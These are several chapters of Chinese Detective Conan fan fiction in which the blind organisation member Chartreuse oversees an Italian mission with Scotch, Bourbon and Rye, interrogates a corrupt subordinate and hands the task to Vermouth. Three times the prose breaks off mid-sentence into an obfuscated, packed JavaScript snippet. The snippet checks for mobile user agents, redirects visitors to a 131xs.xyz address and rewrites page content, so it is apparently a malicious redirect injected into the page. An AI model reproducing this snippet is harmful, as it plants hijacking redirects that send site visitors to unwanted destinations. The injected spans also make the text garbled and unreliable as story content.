“味道还行吧?”见他吃面的动作一顿,秉着人设,苏格兰还是忍不住问了下上司的意见。 “[……太谦虚了苏格兰,和琴酒聊天的时候我还吐槽过呢,没想到你还真的有当生活助理的潜质——怎么样,要考虑一下吗?]” “双倍工资吗?”苏格兰开玩笑道。 “[组织的公款我不太好拿……琴酒会弄死我的,我花私房钱养你啊。]” “私房钱……稍微有些意外呢。” “[我也是有搞正经副业的哦。]” 诸伏清浅黑布下的猫眼眨了眨,试图将眼里的水雾驱散,同时尝试用转移话题的方式将自己的情绪抽离出来。 冷静一点……夏特勒兹。 他在心里暗暗告诫自己。 这只是一顿简单的饭菜,一顿简单但意外的好吃的饭菜,仅此而已。 可当熟悉的味道再次在舌尖上炸开,诸伏清浅才发现,有些回忆,早就融进他抛弃掉、却仍在潜意识里存档了的习惯和味道里。 无论多远,食物总能缩短他乡与故乡的距离。 …… 他有点想家了。 34.情报搜集进行中 最后莱伊不负众望地负责了收拾碗筷的工作。 虽然距预定的谈合作时间还有段距离,但波本并不是一个能闲下来的性子,戴了顶鸭舌帽准备出门,打算亲自去验证一下情报的准确性——顺便也把另外两瓶威士忌捞去帮忙。 诸伏清浅:?我知道你是个工作狂魔但这才来第一天就忙起来……这样会显得我瘫在沙发上摆烂很不地道。 “夏特勒兹要去吗?” “[不去。]” ……好吧说和做是两码事。 “[厨房的挂画后面有一个隐藏的小型武器库,有什么需要的就拿。]”诸伏清浅给自己开了罐可乐,“[你们待会打算先去哪?]” “科斯塔家的继承人,吉米·科斯塔常去的那家酒吧。” “[哦,那家。]”诸伏清浅快速从情报中挖出对应的地点,“[那里的威士忌很不错,推荐你们试一试。]” “那你呢?” “[至于我的话……等我把那群吃干饭的解决完吧。几年没管组织基地里乱得狗都看不下去,等我收拾完再带你们去基地。]” * 诸伏清浅其实并不是什么热衷于组队行动的家伙。 一是因为自身缺陷,很难有人能够与他相互磨合; 二是减少接触意味着情报稀少,更方便隐居幕后,操作的空间更大; 三是训练营的培训都是往全能方面去培养,培养出来的家伙一个赛一个的独狼—— 故清浅擅长的是单独行动、策划布局以及…… 兜底。 你以为他为什么能够和后勤组的罗马纳关系这么好?就是帮那些搞砸任务的蠢蛋善后收尾熟悉起来的。 卧底搜查官们的实力足够强大,诸伏清浅很放心三瓶威士忌一起出动——威士忌组有多次配合行动的经验,如果自己掺和进去反而会影响他们的发挥水平。 嘛,只要不是搞扫射东京塔类似的大场面,他应该都能帮忙兜底。 ——但这次负责调动意大利组织成员的家伙肯定是保不住了。 蓝布鲁斯科,他先前并没有听说过这个代号,估计是之后被哪位真酒前辈提拔上来的……等等,这个名字有点熟悉。 布朗……是之前那个被他拿来立威的傻*吧? 一开始瞧不起清浅的人有很多,施威惩治过后他大多数都是转眼就忘。 ……除了一些实在过于特殊或者蠢得太过出类拔萃的家伙。 很不幸,蓝布鲁斯科两个都占了。 毕竟当年被老乌鸦扔出国历练的第一站就是意大利,而当年基地里,其他成员虽然都阳奉阴违,暗地里瞧不起他。 但官大一级压死人,碍着他身上叠的buff,大家表面上还是对他有几分礼让。 ……这个时候当着众人的面对小夏特勒兹贴脸开大的布朗就显得……很鹤立鸡群了。 “拿着那位先生的命令耀武扬威,你很得意?就你个小身板,估计还没打起来就腿软了……哦不对,你还是个瞎子,说不定连路都会走错呢哈哈哈……” 你问结果?当然是用实力告诉他,自己打架不仅不会腿软,而且还能把他的腿给打断啦(开朗笑)。 私吞交易货物,用次品滥竽充数,借着组织的威名欺压当地黑/帮收保护费,强抢民女,结果抢到达官贵人的千金身上然后被人找杀手追杀…… 到底是哪个傻叉把他扶持上位的?诸伏清浅震惊地浏览着线人下属汇报罗列出的蓝布鲁斯科的种种恶行,面目狰狞地将头发抓得一团糟。 难怪这次能出这么大岔子。别说一个普通人了,就算是他一个在犯罪组织打工的家伙,看了他的“丰功伟绩”都得骂一声人渣。 甚至他的代号都是陷害一位代号前辈用类似于“伪装遗书”的方式骗来的! 诸伏清浅心梗。 就算boss把组织的发展重心放在日本,也不应该对其他国家的组织事务这么不上心啊…… 被人骗走一个代号什么的,boss你的逼格掉了你知道吗! 昔日辛苦经营的情报网在此刻发挥作用,系统面板随着他意念的调动分裂出更多的窗口,一块块淡蓝色的面板在他的脑海中划过,一条条情报被罗列整理出来,为清浅整理出更多蓝布鲁斯科的罪证。 等等,这个资金流水……果然这个蠢蛋后面还有人。 看着蓝布鲁斯科的资金流水几经流转,诸伏清浅深吸一口气——他还不信挖不出最后资金去了哪儿。 他打起精神,前世学得头秃的计算机编程在这个时代大展身手,历经数个小时的努力,他终于追溯到——数个眼熟的账号。 诸伏清浅一时间都不知道说什么好,人无语到极致的时候真的会笑出来。 哈……朗姆我*你**,你个**怎么敢****! 你个混账玩意儿——!! 这还有什么不清楚的?清浅气得站起来绕着沙发走了两圈,一把抄起桌上的可乐一口闷掉。 朗姆这个混蛋借着boss的信任和手里的权利搞小动作,提拔了一个傻子代号成员借着组织的手接私活喽~ 好好好,原来不是boss糊涂,而是boss身边有个奸臣欺下瞒上啊! 你搞就算了,你还不遮掩着点,被老子查到了这活儿不就落我头上了吗?! 平日里被朗姆坑着加塞任务、朗姆出了事还要他来兜底,他/妈的他是什么接盘侠吗?! 老子一定要在boss面前参你一本! 今天的诸伏清浅依旧被朗姆的天降任务砸得气急败坏,并决定这次任务结束后狠狠休假一个月。 * 吉米·科斯塔,科斯塔家族的第一顺位继承人。 因为喜好玩乐,所以能力表现得中规中矩——并不是不优秀的意思,至少在科斯塔家能够将其他继承人压制到打造出一个舒适的环境摆烂也是能力的一种体现。 而作为科斯塔家的继承人,常去的酒吧肯定低级不了哪里去。 酒吧并没有像其他酒吧一样用深色的装饰和昏暗的灯光营造暧昧的氛围,而是采用了明亮的装修风格. 但卡座的位置设计得极为巧妙,充分地利用绿植盆栽和类似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031129|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔扇窗的装饰作遮掩,营造出隐蔽性不低的空间——独特的装修吸引了不少名贵少爷千金来此交流聚会。 当然,这里的酒确实如夏特勒兹所说,很不错。 苏格兰和莱伊坐在吧台的最里侧低头喝酒,努力忽视在不远处和两位小姐攀谈的金发深肤服务生。 “他是怎么在这么短时间内说服老板在这里当一晚上服务生的?”看着某人在酒吧内游刃有余的身影,莱伊不禁问身旁的同事。 “……我也不知道,这或许是情报人员的独特技能?” 诸伏景光努力维持笑脸,强迫自己不去设想自家幼驯染是不是被某位半长发同期上身了。 似有所感地,金发深肤的帅气服务生暗暗朝他们的方向瞪了一眼。 ho—— 莱伊挑眉,举起酒杯遥遥示意,狙击手良好的视力让他看清对方拿托盘的手瞬间青筋暴起。 你们两个…… 诸伏景光长叹一口气。和夏特勒兹呆了一段时间,和谐的相处氛围与威士忌组的针锋相对对比明显,本来勉强能接受的调解工作好像变得更心累了。 错觉吗?还是因为他俩的关系又变差了? “嗨,帅哥,喝一杯吗?” 未等波本对莱伊的挑衅做出反应,一道声音就拉回苏格兰逐渐发散的思绪。 诸伏景光眼睁睁地看着黑色长发的同事好以整暇地往后一退,徒留自己一人应付前来搭讪的貌美女士。 “抱歉,我们只是在等朋友下班。”他硬着头皮,饱含歉意地笑了笑,指了指在卡座中游走的金发服务生,试图转移走对方的注意。 “哎呀,果然帅哥的朋友也是帅哥呢。” ……我当您是在夸我了。 女士很显然是个老手,根本不为诸伏景光的借口所动,反而借此反问。 “真的不喝一杯吗?”穿着大胆的女士用刚做的美甲轻轻划过胡茬青年的肩膀,“还是说……我们撞号了?” 诸伏景光:??? “诶——如果这样的话不就是我的机会吗,基娅拉这次你可不能和我抢。” 一名梳着背头的棕发青年端着酒杯施施然走来,盯着黑色长发的莱伊的目光中闪现一抹惊艳。 “这位帅哥,喝一杯吗?” 这下轮到莱伊挑眉。不只是为对方的发言,更是为对方的样貌。 无他,青年和他们不久前在安全屋里看到的照片一模一样。 吉米·科斯塔。 “ho——不太行呢,我们撞号了。” 莱伊为什么你这么熟悉啊?!还有原来吉米的性向是这个吗为什么资料里没写啊?! “那真可惜,”青年耸耸肩,非常识趣地转移视线,目光看向拥有一双上挑猫眼的胡茬青年,眼里同样闪过惊艳。“那这位帅哥呢?” 诸伏景光:…… 兄弟,真的,你别搞我。诸伏景光保持一个假得不能再假的笑。 ……萩原,救命啊。 远在日本、刚下班准备前往联谊地点的某位半长发警官在路上莫名其妙地打了个喷嚏。 35.前置任务进行中 ……最后还是身心俱疲地回安全屋了。 好消息,接触到任务目标了; 坏消息,目标看上我了。 苏格兰假装游刃有余地避开对方的邀请,总算成功等到了波本的支援。 详细的情节他已经不想回想,在和莱伊去附近逛了几圈熟悉地形后等到波本下班,三人就返回安全屋——当他们回来时就发现门口敞开着。 “[欢迎回来。]” 熟悉的电子音从……茶几下响起? 苏格兰回神,绕过茶几看见直接在地毯上趴下快要睡着的上司。 “……夏特勒兹,要睡请回房间里睡。” 夏特勒兹艰难地翻了个身,好像清醒了一点。 “[唔……进展不顺利吗?你的心情不太好。]” 诸伏景光木着脸:“没有。” 求您别问了我真的不想再回想了。 好吧。听出苏格兰话语中的回避之意,诸伏清浅识趣地没继续问下去,爬起来摇摇晃晃地上楼。 “[那晚安——二楼最里边那一间房是我的,剩下的你们自己分配。]” 一天下来身心俱疲……我讨厌工作。 第二天早上,苏格兰醒来的时候意外发现夏特勒兹已经离开。 “早啊苏格兰。”波本刚从房间里出来就看见苏格兰站在夏特勒兹房间门口。“怎么了吗?” “……没事,夏特勒兹出门了。”苏格兰回神,将夏特勒兹门口贴的留言小纸条揣进口袋。 “早餐有什么想吃的吗?也不知道冰箱有没有食材……” “幸运的是,有。”听到苏格兰的话时莱伊刚好打开冰箱门。 食材算得上充足,下来一探究竟的苏格兰满意地挑了几样出来。 “待会吃三明治怎么样?” 其余二人当然不会反对厨子的提议。 * [意大利其中一处组织基地] 底层人员驾驶着车辆进入一处地下车库,七拐八拐后在一面墙前停下。 车牌号早已在系统中记录过,故墙上的识别摄像头扫描确认后就启动了程序。 面前的“墙”在一阵机械运转的声音中缓缓升起,露出后面的巨大平台——那是一处升降机。 汽车驶入,片刻震颤后平台缓缓下降,带着车辆进入地下深处鲜少有人知晓的基地。 “久疏问候,夏特勒兹大人。” 早有成员在此等候,听到久违的导盲杖敲在地上的哒哒声,她垂眸鞠躬。 “[玛蒂娜,许久不见。]” 盲眼青年从她身侧走过,轻车熟路地在地形复杂的基地内行走,目的地明确——即使这么多年没来,他依旧对这里的路十分熟悉。 “[人抓到了?]” 玛蒂娜自然地跟在青年身后,闻言回答:“在审讯室,蓝布鲁斯科大人似乎对此颇有意见。” 有意见? 夏特勒兹嗤笑一声,加快了步伐,片刻后来到玛蒂娜所说的审讯室。 即使审讯室配备了优良的隔音设施,敏锐的听力还是让他捕捉到蓝布鲁斯科在里面闹腾的叫喊。 “你知道我是谁吗?!谁给你们的胆子抓我来这儿!”即使双手双脚被拷住,也妨碍不了蓝布鲁斯科挣扎着扯嗓子。“对代号成员动手,我看你们是不想活了!” “[代号成员可不是你的免死金牌,况且动手又怎么了?]” 突然间有人回应他的喊话,蓝布鲁斯科不由得卡了一下。 身穿黑色厚风衣的青年推开审讯室的门,走到男人面前毫不犹豫地一个回旋踢,连人带椅将他踹飞。 椅子在地上刮擦出刺耳的声音,因被椅子束缚着,蓝布鲁斯科的后脑勺难免与地板狠狠地来了个亲密接触,震得他脑瓜子嗡嗡的。 胸口和后脑勺的痛楚让他忍不住惨叫一声,但很快他的肩膀被人踩住。 咻! 消音过的手枪发出细微的射击声,擦着耳廓打入地板的子弹让他的惨叫被瞬间消音。 耳廓出血的麻痒让他不禁瞪大葡萄干似的眼睛,看着冷漠俯视自己的青年。 青年黑缎缠目,显然是个瞎子,但他周身那种冷冽的气势压得人忍不住颤栗。 “[只要尾巴收拾得干净,组织并不会追究成员间的内斗。]” “夏…特…勒…兹!” 他咬牙切齿地喊出青年的代号。即使这么多年过去,目盲与电子音的独特搭配,以及当年的当众羞辱依旧让他记忆犹新。 只是他听说这家伙不是回日本发展了吗?怎么会出现在这里! “[听说你对进来这里很有意见?]” “那是当然的啊!”他恶狠狠地盯着青年,似乎想要拿出作为基地负责人的做派来。 “那群吃里扒外的家伙是听了你的命令才对我动手的吧?明明已经脱手意大利的事务却仍然在这里发展自己的眼线……夏特勒兹,你想造反吗?!” “[真厉害,你向我展示了一个人的认知可以多么的自大和混乱……倒打一耙耍得不错。]” 青年微微偏头,玛蒂娜识趣地下去准备接下来会用到的审讯工具。 “[如果我发展线人是造反……那么你欺上瞒下,挪用组织财产,接受贿赂,为了一己私欲搞砸组织任务……]”又算什么呢? “你在胡说什么?!”蓝布鲁斯科心虚地抬高声调,想要借此打断电子音的播放。 “[里奇家。]” 似是察觉到不妙的味道,蓝布鲁斯科噤了声。 “[里奇家的溃败有你的手笔吧?比如说……透露一些关键据点?]” 夏特勒兹看不见蓝布鲁斯科颤动的瞳孔,但一瞬间错乱的呼吸骗不了人。 方向对了。诸伏清浅在心里梳理了一遍需要验证的问题。 里奇家的势力在意大利里世界并不算显眼,就算身为老牌黑/帮也未免太过安分,守着一亩三分地已经多年没有什么大动作——他并不是组织在意大利军火商的最优合作人选。 所以他与组织的关系应该并不止于军火交易,更涉及一些保密等级更高的东西。 可惜身为“刀”的夏特勒兹并不需要知晓,这点情报还是偶尔和贝尔摩德联络“感情”的时候从对方的态度中推测出来的—— 不然很难解释为什么里奇家一出事boss就立刻知道并将这个任务交给他。 ……不过这些就没有必要说出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045816|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来给人家解释了。 “[别以为给自己找了个靠山就觉得自己无敌了,这件事那位先生很是上心。]” “[就算是朗姆也救不了你。]” 蓝布鲁斯科瞪大了眼睛。 “你怎么……” “[我怎么知道?]” 夏特勒兹从手边的托盘上取下一双手套戴上,退回外面的玛蒂娜识趣地关上门和其他记录设备,给审讯室内的两人创造出一个无人打扰的环境。 “[我知道的可多了,但很多东西还是要和你核对一下才行。]” “[没关系,我们有很多时间来聊。]” * “莱伊,动手。” “我没瞎,我看得见。” 砰! 看着倍镜中的人物爆出一地装备,苏格兰遗憾地叹了口气,快速点掉两个追在波本身后不放的追兵,迅速爬起来拆卸枪/支撤离。 莱伊的射程又变远了。 将贝斯琴盒背上走下狙击点,伪装成落魄流浪贝斯手的胡茬青年堂而皇之地在追兵路过他时轻轻吹了个口哨。 “他们往南边去了喔波本。” “谢了苏格兰。” 从耳麦中得到幼驯染提供的消息的波本方向一转,突然拐进一个巷口,打了后方追兵一个措手不及。 “可恶!他怎么这么能跑?!”/意大利语 “该死!分出几个弟兄从前面包抄他!”/意大利语 从狙击点目睹追杀现场的莱伊看着波本逐渐被敌人包围,“ho——需要帮忙吗?” “你不说话就是对我最大的帮助!” ……拜托,这个时候就不要吵架了啊。 苏格兰叹了口气,“莱伊,波本现在在哪个位置?” “西三街,他现在快被前后围堵了。” 西三街的话……诸伏景光一边漫步在路上一边闭眼思考,仿佛在思考新编的曲子旋律要用什么润色,实际上则是在脑内铺展开这一带的详细地图。 “我记得西三街有几面涂鸦墙,其中红色和紫色的两面墙中间有一条狭窄的过道。” 波本俯身躲过后方射来的子弹,顺手快速给自己更换弹夹,抬手给后方回敬几发。 他确实看见了前方苏格兰所说的几面涂鸦墙——有时候真的觉得视力太好不是个优点,那墙真的是……太花眼了。 不合时宜的吐槽一闪而逝,好在涂鸦墙主题色鲜明,他一下子锁定在那条狭窄的过道,一个冲刺闪身钻进去。 “……然后你会发现里面是个死胡同。” 安? “尽头的墙角下应该有几个当踏板的木箱子,翻上去,但不要跳下去,借着墙角的凹陷爬上天台。” hiro你的导航原来是3D的吗?! 事已至此,波本不得不照做,凭借大猩猩的体力快速翻身上天台。 “好了,新的地图已加载,这下是真的条条大路通罗马了。” 看着眼前高低不一的天台,波本一时间反思自己是不是在不知道的时候得罪苏格兰了,不然为什么hiro会给他推荐这么一条逃跑路线。 提问,犯罪集团的情报人员会摇身一变成为跑酷少年吗? 36.中场休息中 这一带的治安并不完善。 又因为在这一带居住的大多都是低薪贫困人员,所以房屋大都低矮,巷道复杂密集。 一些叛逆少年不知出于什么想法,在天台与天台之间用箱子木板作为辅助,开发出天台跑酷的全新地图—— 并在当地少年们一代又一代的搭建维护中,这块地图已经完善至极。 因为是当地人才知道的地图,波本在天台间跳跃时不免磕绊,但用来对付下方的非本地追兵绰绰有余。 地形的不熟悉和高度差带来更多的视角盲区,不稍片刻他们便失去了金发青年的身影。 就在他们破口大骂的时候,一位带着兜帽、背着吉他包的青年低调地推门离开酒吧,与刚好路过的贝斯青年汇合然后一同慢慢离开。 勉强在后巷快速换完装的波本用兜帽遮住金色的发丝,背上伪装用的吉他包和前来接应的苏格兰汇合。因为任务已经成功完成,与莱伊的通讯频道早已切断。 确认周围没有人偷听后金发青年长舒一口气,抱怨道: “hiro——” 逃跑的路线太过刁钻,到现在他气都还没喘匀。 “抱歉抱歉,但这不是很快就摆脱追兵了嘛。” “完——全想不到的角度,要是换成其他人来指挥我估计听都不会听一句。” 安室透正了正神色,“这种路线你是怎么知道的?” “这个嘛——” 如果你几乎每天都被你的上司逼着背地图,你找逃跑路线的能力也会提升一个层次的。 夏特勒兹的身手极为灵活,机动能力高超,上蹿下跳什么的对他来说就是基操——在他的训练下连带着苏格兰自己也时常留意三维的逃跑路线。 意大利的天台跑酷是训练期间夏特勒兹偶尔提及的,原话是“那一带建筑区天台的设计真的很天才,非常适合用来摆脱追兵”,前些日子来这里踩点的时候因为既视感过于强烈,他就直接发邮件过去问了。 【总觉得这一带有点熟悉。 ——Scotch】 【啊……你还记得啊。那里可能不太好狙/击,但近距离灭口后脱身很方便。 ——Chartreuse】 “……就这样。” “直接问?” “对。” ……这上下属关系和睦到令人羡慕。 这段时间在夏特勒兹的友情情报资助下,波本迅速展开了一系列行动。偶尔有些难以行动的地方,也在苏格兰上报、夏特勒兹大开方便之门下迅速通过。 ……感觉被带飞了。 “我是真没想到夏特勒兹这么好说话。”他能看出有不少情报的等级权限很高,显然是出自夏特勒兹自己的情报网。 “他是真的不怕我借此做点什么啊。” “怎么说呢……夏特勒兹算是那种只在乎结果的人,只要不碰到他的底线,他的容忍度还是很高的。” “底线?” 诸伏景光点点头:“就像这一次任务,他追求的只是任务的完成,如果开放权限给我们能够更好地完成任务,他也会毫不犹豫地开放—— ‘权利的辗转能够证明对方的能力,只要你是忠诚于组织的,我并不介意这份权利在谁手里——总归大家都是为组织效力。’” “……组织的忠犬啊。”对组织的归属感很高,但这也太佛了。 “话说如果夏特勒兹把任务交给我们,那他这段时间在忙什么?” “嗯……好像是去清理基地去了?” * 有些人真的经不起念叨,数天神龙见首不见尾的夏特勒兹在某天晚上突然就血呼啦擦地回来了。 “[晚好——有宵夜吗?]” 刚好今晚没有任务、正在客厅选电影碟片的莱伊迟疑:“冰箱里有三明治?” “[审讯久了都忘记吃晚饭了,感谢救我一命。]”蒙眼青年双手合十感谢,迅速回房收拾自己。 审讯……? 莱伊默默将这个信息记下,将手中的碟片扔回箱子——这里面没有他感兴趣的电影。 这时琴弦被拨动,明亮清透的吉他声传入耳朵。莱伊扭头望去,只见波本在苏格兰的指导下磕磕绊绊地弹着音阶。 ……一派和睦的景象。 苏格兰到底是怎么做到和谁的关系都不错的,就连阴晴不定的波本都能好好相处。 突然,金发青年朝莱伊狠狠地瞪了一眼。 啊……被发现了。 莱伊从容地收回视线。 “[咦?吉他?]” 因为洗了头不太好蒙眼睛,夏特勒兹将墨镜重新戴上。他一手用毛巾搓着头发,慢慢下楼,一手在手机上慢慢打字。 “[我记得苏格兰你会的是贝斯?]” “吉他和贝斯共通处不少,很好上手。” 这样啊—— 贝斯和吉他都会的诸伏清浅耸耸肩当做回应,一头扎进厨房觅食去。 “说起来,夏特勒兹你那边搞定了吗?” 嗯?问我这边的进度,说明——“你们那边搞定了?” 回答他的是波本:“明天晚上科斯塔家会在普斯林酒店宴请……一个商业宴会,他们会借此和其他势力打好关系,这或许是我们与他们谈合作的好时机。” 这些天在他们的暗中操作下给科斯塔家卖了不少人情,介于吉米·科斯塔的关系,他们想要拿到宴会的邀请函并不算难。 这或许是波本做任务效率最快的一次,不到计划一半的时间就迅速完成了各项安排,万事俱备只欠东风——飞起的进度让他一时间还有点恍惚。 “当初组织和里奇家搭上线是为了他们手中的军火,不过据我所知,里奇并不是最好的合作人选。 感觉这次任务组织意外的重视呢……如今组织急着与科斯塔搭上线,到底是为了什么?” “除了军火,应该还有其他合作内容的吧?” 真敏锐啊,波本。 夏特勒兹看不见波本紫灰色眼睛中的思索与好奇,但语气中的试探他倒是听出来了。 ……沉默的时间有些长了。 波本垂眸,正当他以为沉默代表无声的拒绝时,降低了些许音量的电子音缓缓响起。 “[……说实话,我也不太清楚。]” 诶?意外的回答。三瓶威士忌微微睁大眼睛。 “[毕竟科研组直属于那位先生,那边与行动组、情报组、后勤组的情报是禁止互通的。]” 重要的情报就这么被青年说出来,夏特勒兹将最后一口三明治塞进口中,终于腾出双手打字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057474|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。“[我并没有那个权限。]” 科研组啊…… 莱伊思考了一下,他女朋友的妹妹好像就是科研组的。不过看明美每个月才和妹妹打一次电话,也能想象到科研组的监管严格了。 “可我听说,您的上一次任务和科研组有关?” 波本一句状似无意的提及让其余两瓶威士忌反应过来,波本指的是前段时间夏特勒兹和琴酒的疯狂加班。 ……苏格兰也是因为那次任务才知道生病的夏特勒兹有多让人操心。 嘶——为什么有种被人盯上的预感? 不知道他哥在背后蛐蛐他的夏特勒兹打了个寒噤,将身上的鸡皮疙瘩抖下。 “[任务刚好在我负责的范围罢了——毕竟我负责大部分卧底和叛徒的排查工作。]”所以记得藏好你们的尾巴,搜查官们。 诸伏清浅并不想在这个话题上细聊,转而说起明天的任务安排。 “[谈合作那里涉及的内容以你们的权限尚且够不到,估计组织会找其他代号成员来接手……反正我也把基地那边的事处理完了,明天的话你们跟我去一趟组织基地吧,把任务对接一下。]” “欸——就直接转手吗?”波本是会不爽任务做到一半被拿走的,这会让他有种功劳被抢的错觉和事情脱离掌控的不安感。 夏特勒兹好脾气地应下:“[各司其职嘛,谈判并不是我擅长的领域……任务的后续如果你想继续跟进的话,可以和前来对接的代号成员申请。]” 好吧。波本耸肩,夏特勒兹的话已经足够委婉,他总不能要求对方强行插手后续任务。 “[话说贝斯和吉他是哪里来的?我记得安全屋里没有乐器。]”严肃的话题聊完,诸伏清浅将自己扔进沙发,优哉游哉地给自己开了一听果汁。 话题转得太快,但苏格兰显然已经适应,快速接住话头。“找后勤要的。” “[所以我们现在有一把贝斯一把吉他?莱伊的是什么?]” “吉他。”莱伊不明所以。“有什么问题吗?” “[那就是一把贝斯两把吉他……我们对外的身份是乐队吗?]” 夏特勒兹朝莱伊的方向指了指:“吉他。” 又指了指苏格兰的方向:“贝斯。” “波本也要吉他?” 波本挑眉:“我没问题。” “[不,你有问题,问题可大了——一把贝斯两把吉他,哪有这么偏科的乐队啊,况且你弹吉他谁来唱歌?]” 夏特勒兹理直气壮地剥夺了对方吉他手的位置, “[你来当主唱——你总不能要求我来开麦,我玩吉他还能顺便兼职一下编曲作词呢。]” “可波本好像不太会唱歌。”苏格兰恶趣味反驳。(突然被上了“不太会唱歌”debuff的安室透:?) “[可我吉他弹得比他好。]”夏特勒兹内心小人都要昂首挺胸双手叉腰了。 “[况且你们仨的声线其实都很有卖点,稍稍训练一下就能唱得比狗都深情——不信的话你们现场唱俩句。]” “才不要。”苏格兰微笑拒绝。 “[不唱的话就代表反驳无效——那波本当主唱,吉他归我了!]”他大手一挥豪气宣布,虽然不知道为什么能从语调平平的电子音中听出豪气冲天的感觉。 37.任务交接中 组织在意大利的基地不算多,但每一个都足够大。 对于一个存在多年的犯罪组织来说,基地的入口在哪里都不奇怪。 让人意外的是夏特勒兹的态度。 苏格兰不着痕迹地扫了眼在前面带路的青年,比起在安全屋内的松弛和平时相处的平易近人,现在的夏特勒兹气场更为……强大。 与琴酒和莱伊的那种如野兽锁定猎物的骇人气势不同,夏特勒兹的气势是那种高位者对低位者的无形震慑与威压。 很陌生。 ……但也很应景。 用余光观察周围的环境,作为基地,自然也有给组织成员提供休息的区域。 或许是小型酒吧,或许是靶场、训练场,又或许是拳击擂台。 一行人尚未进入相应区域,里面传来的划拳拼酒声和拳场的喝彩声已经能让人想象到其中的热闹。 转折点在有人发现夏特勒兹身影的那一刻。 “喂……那个是夏特勒兹大人吧?”有人用迷蒙的醉眼盯了一行人半晌,突然用手肘怼了怼一旁的朋友。 “哪个……卧槽,还真是。” 自此,休息区的热闹声像不断倒塌的多米诺骨牌,逐渐熄灭、直至平息为一片寂静。 是夏特勒兹吧? 废话,组织里蒙眼的就他一个。 这次他来又是干什么? 谁知道……只要你没干什么亏心事,怕他做什么? 回怼了一句的男人翻了个白眼,举起手里的酒杯遥遥示意:“早上好啊夏特勒兹大人。”/意大利语 打,打招呼了?! 有人开了头,事情自然而然地走向一个奇怪的方向。 “早安,夏特勒兹大人。” “夏特勒兹大人早上好。” “要来喝一杯吗?” “夏特勒兹大人您调职回来意大利啦?” “夏特勒兹大人,您吩咐调查的港口动向有最新结果了。”/意大利语 “[早上好。喝一杯就算了,感谢邀请。只是任务恰巧在这里,并没有调职。情报待会和玛蒂娜报告,辛苦了。]” 打字的速度并没有影响蒙眼青年一一回答成员们的问候,表示让大家继续玩不用在意自己,青年转头看向不知何时在不远处等候的女性。 “[麻烦你带路了,玛蒂娜。]” 身穿职业装的玛蒂娜浅浅鞠躬,流利的日语从口中吐出。“并不麻烦,请往这边走,夏特勒兹大人。” “前来交接任务的代号成员已在会议室等待。” * “真是许久未见,夏特勒兹。” 金发的女士优雅地靠坐在椅子上,手里夹着细长的女士香烟,只不过并未点燃。 “[看来我没猜错,接下来的任务由你负责——早上好,贝尔摩德。]” “好吧好吧,我知道你的习惯。”贝尔摩德愉悦地轻笑一声,漫不经心地敲了敲面前桌子上的特殊保温箱,“任务怎么说?” 夏特勒兹偏头示意波本。 哦?金发女士挑眉,随着他的动作转移视线。 同样是金发的青年露出一个神秘主义惯有的笑:“今天晚上科斯塔家有一场商业宴会,我拿到了入场券——两张。” “两张……波本,有时候我真不知道应该夸你还是笑你。”虽是这么说着,贝尔摩德的视线却是落在盲眼青年身上。 “[科斯塔那边的任务我全权交给他们来做了。]” 贝尔摩德了然:“难怪这次你的进度这么快——听说你处理了一只老鼠?” 老鼠。威士忌们迅速将其与昨天晚上青年提及的审讯联系上。 “[一只蛀虫罢了,详细的报告我已经上报给boss——]”夏特勒兹顿了顿,“[至于任务,只要能够胜任,我不介意下放一些权限。]” “哪怕他是朗姆的手下?” “[波本能力不错。]” 哈……有趣。贝尔摩德笑出声来。 “既然夏特勒兹这么推荐你……那么波本,今晚的宴会你就跟我一起去吧。” “我的荣幸。”波本浅笑一声,垂眸应下。 “那么,蓝布鲁斯科下台后你有什么打算?”任务协商告一段落,贝尔摩德将视线投向会议室角落沉默不语、安静当装饰的女人身上。“扶她上位?” “[如果只是基地的统筹和管理,玛蒂娜足以胜任。]” 贝尔摩德收回视线。她对权利的交接不太感兴趣,简单调侃两句就算。 和波本约好今晚碰面的时间地点后,她就拎着保温箱施施然离开了基地。 交接的事情告一段落,四人完全可以原地解散。夏特勒兹还要去处理基地内的其他事物,于是把威士忌组扔给在场的玛蒂娜后也匆匆告别。 “夏特勒兹大人很欣赏你们。”没想到最先开启话题的是玛蒂娜,她打量了一下苏格兰。 这就是夏特勒兹大人的下属? 黑长发的男人身上有淡淡的烟味,夏特勒兹大人不喜欢烟味;金发的刚刚说了是朗姆那个傻*玩意儿的手下,那么就只剩下这个留了胡茬的家伙了。 嗯……看上去还不错。 玛蒂娜礼貌地收回视线,率先带着三人离开会议室。 苏格兰能看出玛蒂娜对自己的友好,或许是因为大家都在同一个上司手下工作。 他意识到这是个套取情报的好机会。 “欣赏的话,彼此彼此吧……或许我应该提前恭喜你升职?” 